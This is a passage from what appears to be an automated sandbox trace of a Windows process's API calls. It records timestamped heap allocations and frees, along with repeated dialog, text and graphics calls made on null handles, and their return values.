hHeap=0x2d0000) returned 1 [0026.750] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.750] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.750] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.751] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.751] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.751] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.751] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.751] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.751] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.751] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.752] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.752] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.752] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.752] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.752] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.752] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.752] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.753] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.753] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.753] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.753] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.753] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.753] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.753] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.753] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.753] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.753] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.753] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.753] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.753] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.753] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.753] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.753] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.754] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.754] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193310673, cy=27, fuLoad=0x0) returned 0x0 [0026.754] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.754] GetLastError () returned 0x715 [0026.754] SetLastError (dwErrCode=0x715) [0026.754] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.754] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.754] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.754] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.754] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.754] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.754] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.754] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.754] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.754] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.754] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.754] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.754] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.754] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.754] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.754] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.754] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.755] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.755] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.755] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.755] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.755] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.755] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.755] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.755] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.755] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.755] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.755] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.755] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.755] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.755] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.755] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.755] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.755] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.755] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.755] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.755] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.755] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.755] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.756] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.756] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.756] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.756] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.756] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.756] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.756] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.757] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.757] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.757] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.757] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.757] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.757] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.757] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.757] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.757] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.757] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.757] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.757] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.757] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.757] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.757] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.757] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.757] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.757] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.757] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.757] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.757] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.757] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193291728, cy=27, fuLoad=0x0) returned 0x0 [0026.757] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.757] GetLastError () returned 0x715 [0026.757] SetLastError (dwErrCode=0x715) [0026.757] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.757] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.757] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.757] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.758] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 